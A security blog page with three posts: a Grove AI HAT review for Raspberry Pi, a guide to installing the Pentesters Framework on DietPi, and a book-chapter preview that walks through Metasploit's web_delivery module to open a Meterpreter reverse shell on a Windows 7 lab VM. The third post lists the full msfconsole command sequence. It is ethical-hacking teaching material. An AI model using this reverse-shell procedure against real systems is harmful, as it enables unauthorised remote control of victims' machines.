Hands-On Review: Grove AI HAT for Edge Computing

Bring next level intelligence to your Raspberry Pi projects with the Grove AI HAT for Edge Computing. In this article we will take a quick hands-on view of the Grove AI HAT board & Ultrasonic Sensor in standalone mode, and used as a Raspberry Pi HAT.

Introduction

The Grove AI HAT for Edge Computing is built around Sipeed MAix M1 AI MODULE with the Kendryte K210 processor inside. It’s a low cost but powerful stand-alone board that can also run as a Raspberry Pi Artificial Intelligence HAT.

The board not only bristles with peripheral connections (I2C/UART/SPI/I2S/PWM/GPIO), but has built in audio and video processing capabilities for AI projects.  This means you can connect multiple Grove Sensors to the board. Couple that with its video and audio capabilities and it makes it an interesting choice for Edge Computing environments. 

Seeedstudio provided me with a Grove AI Hat board for review. There are plenty of articles on the technical specs of the board, so this article will be more of a “hands-on” usage review. Let’s hook a Grove sensor up to the board and use it on its own, and as a Raspberry Pi HAT.

The Grove AI HAT is a new board, so there are not a lot of usability instructions available at this time. One of the quickest ways I found to interface with the board is to use the Seeedstudio Arduino interface. The ArduinoCore-API interface has been added to the board, allowing support for multiple development environments, including Arduino IDE, Linux, Windows, and Mac OS X. This basically means you can run Grove Arduino Libraries and many other Arduino libraries on this board.

Enough intro, let’s see it in action!

Basic Arduino Instructions

The Grove AI HAT can function entirely on its own and in conjunction with a Raspberry Pi. A good starting point is to connect one of the many Grove sensors to the board, and perform basic input/ output using the Arduino library.

In this section, we will see how to interact with a Grove Ultrasonic range sensor and view the output using the individual board, and then as a Raspberry Pi HAT.  

Follow the Arduino setup instructions on the Seeed website carefully. You need to add board drivers and use a specific writing option (K-flash), if you pick the wrong options, your board will not function properly.

Follow the setup instructions here:

http://wiki.seeedstudio.com/Grove_AI_HAT_for_Edge_Computing/

Summarized below:

  • Download and install the Arduino IDE on your computer
  • Run Arduino IDE
  • Add the K210 Grove AI HAT for Edge Computing driver
  • Select the K-flash programmer

The Arduino IDE is now configured to work with the Grove board.

Using the Grove Board Standalone

Once everything is setup, you can use Seeed’s sample Arduino code to control the board directly. For example, the Ultrasonic sensor.

WARNING: Do no connect or disconnect sensors to the board while it is powered up, you could damage it!

Connect your range sensor to the board (I used port D13)

Then using a USB C cable, connect the board to your computer. This will power up the board and allow your computer to communicate to it.

  • Next, load in the ultrasonic Arduino library into your sketch project folder.
  • In the Arduino IDE, enter the sample code provided by Seeed:
  • Compile and write the code to your board

Now, open the Arduino serial monitor and you should see live range detection:

Move your hand back and forth in front of the range detector, you should see the range update live in your Serial Monitor tab.

That’s all well and good, but this is a Raspberry Pi HAT! How do you use it with a Raspberry Pi?

Grove on the Raspberry Pi

In this section we will look at using the Grove AI board with a Raspberry Pi 3b+. The Pi 3b is running Raspbian and is setup up for remote access via Putty. To use the Grove Board and Pi in tandem, we need to connect them together. Disconnect power (the USB cable), connect the riser board to the Grove board, and then carefully connect the Pi and grove boards together. Make sure no power is applied to either board, and the pins line up correctly, or you could damage your boards.

Only provide power to one board, the Pi or the Grove Hat, if you connect power to both boards you need to change a switch on the Grove board.  

Connect the USB cord from your PC to the Grove power port. Both the Grove board and Raspberry Pi should power up at the same time. In this configuration, you can still use the Arduino Serial Monitor to view the sensor output. But we want to see it on the Pi.

To use the Grove board on a Pi, we will need to install the Grove Python library.

Instructions can be found here:

http://wiki.seeedstudio.com/Grove_Base_Kit_for_Raspberry_Pi/

Basically, from a Raspbian install:

Now with the Grove library installed, we can run a short Python program to communicate with the Sensor through the Raspberry PI.

  • cd ~/grove.py/grove

Enter in, save and run the following Python program in the grove directory:

ultrasonic.py:

It should look like this when done:

Now, just run the ultrasonic.py program:

And that’s it! You should see distance displayed in real time.

You can open the Arduino Serial monitor and get readings from it at the same time, as seen below:

One interesting feature is that if the Pi is shutdown, or the Python program stopped, the Grove board can continue to work.

As seen below:

The Ultrasonic program was stopped, but the device continues to operate as seen in the Arduino serial monitor.

AI Computing

As mentioned at the beginning of this video, the Grove HAT has video and audio processing capability built in. I ran into some questions on how to access the video and audio part of the card and am waiting to hear back from Seeed tech support. So, I will explore this capability in future articles, but for now, Seeed has a great demo video of this capability on their website:

https://project.seeedstudio.com/SeeedStudio/face-count-and-display-using-grove-ai-hat-and-pi-3e100f

Conclusion

This was just a very basic intro to the Grove AI HAT for Edge Computing. The board is very exciting as it brings a host of sensor capabilities to the Raspberry Pi platform. I believe this will allow for much more intelligent Pentest drop boxes (it could sense and record when someone was in the room, for example), robotics projects, Magic Mirrors, and whatever else you can dream up. Stay tuned, more to come!

Pi 4 Hacking Platform using DietPi and PTF

Building a Raspberry Pi 4 Ethical Hacking platform using The Pentesters Framework and DietPi.

I’ve been playing with using different hacking tools and Operating Systems with the Pi 4. In this article I cover installing The Pentesters Framework on a RPi 4 running DietPi.

DietPi is a very lightweight Debian OS for the Raspberry Pi. The Pentesters Framework by TrustedSec is an Ethical Hacking installation script that automatically installs and updates over 250 modules/ tools. It would be great if they would work together on a Raspberry Pi 4. The good news is that is does – With a couple tweaks.

I cover installing and using The Pentesters Framework on Raspberry Pi in my latest book. So, I am not going to go into great detail on using the tools in PTF. I just want to cover actually installing it on DietPi.

Installing

NOTE: You will need a Raspberry Pi 4, and at the minimum a 32 GB MicroSD card if you want to install all of the PTF tools. Don’t have a Pi 4? Seeed is currently offering free shipping for orders over $119 with a Raspberry Pi 4 4GB.

Insert the MicroSD card into your Pi, attach peripherals and lastly connect power (always connect power last). When DietPi boots up you will be presented with some options.

  • Pick any software install options you want, then “Go install software”
  • Requested software and updates will be installed
  • Reboot when finished

I just run through it quickly the first time to get the latest OS updates. Note the CPU temp warning, it’s a Pi 4, it runs hotter than a Pi 3.

To install an “X” Desktop or any other included software, type, “dietpi-software”.

There are a ton of add-on software options under “Software Optimised”. For example, if you want a graphical desktop, pick the X-Desktop you want and then the “Go install software” option. You can also setup your login preferences from this menu – auto login, desktop login, etc.

All we really need here is to install Python. Then we need to make a small config file tweak and finally install PTF.

Installing Python

From the DietPi-Software menu, go to “Software Additional” and install Python:

  • Cursor down to Python Pip, hit the space bar to select it.
  • Select “OK

You will return to the main menu.,

  • Cursor down and select “Go >> Start Installation
  • Reboot when finished

We need to install git:

  • Open a terminal and enter, “apt install git

Next we need to comment out a line in the ‘/etc/hosts’ file or the PTF install will error out.

  • Comment out the “::1 localhost  IPv6 localhost” line
  • Reboot

That’s it! We can now proceed with the standard PTF install:

You will then see the main PTF interface:

Type “show modules” to see all available modules. You can install individual ones if you wish. If you have a large memory card (32 Gb), you can install all of them.

  • To install all tools, enter “use modules/install_update_all
  • Reboot when finished

The install will take a very long time, especially if you install all of the modules. After install, all tools will be located in category themed directories under the ‘/pentest’ directory, as seen below:

Many of the tools can be run from anywhere, but some tools require you to change into its install directory for it to work properly. This is usually ‘/pentest’, but some run from ‘/usr/share’ as well. Check it out, there are a ton of very good tools at your disposal, like “Sniper”:

And there you have it. Again, I go into much deeper detail in my book about using PTF on a Pi, I just wanted to show how it could be installed on DietPi. If you want to learn a lot more about using Raspberry Pi for Ethical hacking check out my latest book – Security Testing with Raspberry Pi

Easy Remote Shells with Web Delivery

This is a sneak peak at a section of the “Web Delivery” chapter in my new Ethical Hacking book, “Intermediate Security Testing with Kali Linux 2“. The Metasploit Web Delivery module is one of the easiest ways to quickly get a remote shell from a Linux, Mac or Windows system. In the full chapter I show how to use it against all three platforms. For the preview we will only cover Windows based targets.

As always, never try to access a network or system that you do not have express written permission to do so. Accessing systems that you don’t have permission to is illegal and you could end up in jail.

Web Delivery

In this section we will learn how to  using the Web Delivery exploit module. We will be using Metasploit and our Windows 7 VM as the target.

Let’s get started!

1. From a Kali terminal, type “msfconsole”:

Metasploit Web Delivery 1
2. Now enter:

  •  use exploit/multi/script/web_delivery
  •  set lhost [Kali IP Address]
  •  set lport 4444

3. Type, “show targets”:

Metasploit Web Delivery 2

Notice we have 3 options, Python, PHP and PSH (PowerShell). We will be attacking a Windows system, so we will use PowerShell.

4. Enter, “set target 2”
5. Set the payload, “set payload windows/meterpreter/reverse_tcp”
6. You can check that everything looks okay with “show options”:

Metasploit Web Delivery 3
7. Now type, “exploit”:

Metasploit Web Delivery 4

This starts a listener server that hosts our payload and then waits for an incoming connection. All we need to do is run the generated PowerShell command on our target system.

8. On the Windows 7 system, open a command prompt and paste in and execute the PowerShell command:

Metasploit Web Delivery 5
And after a few seconds you should see:

Metasploit Web Delivery 6

A meterpreter session open!

9. Now type, “sessions” to list the active sessions
10. Connect to it with “sessions -i 1”

Metasploit Web Delivery 7

We now have a full Meterpreter shell to the target:

Metasploit Web Delivery 8
Type “exit” to quit the active session and “exit” again to exit Metasploit.

I hope you enjoyed this chapter section preview. In the full chapter, I show how Web Delivery can be set to work against Linux and Mac systems also. In addition in the Msfvenom chapter you will also see how to make standalone executable shells that don’t require the target to open a command prompt on their system and manually run the code.

For a lot more ethical hacking training and hands on tutorials, check out “Intermediate Security Testing with Kali Linux 2” available on Amazon.com.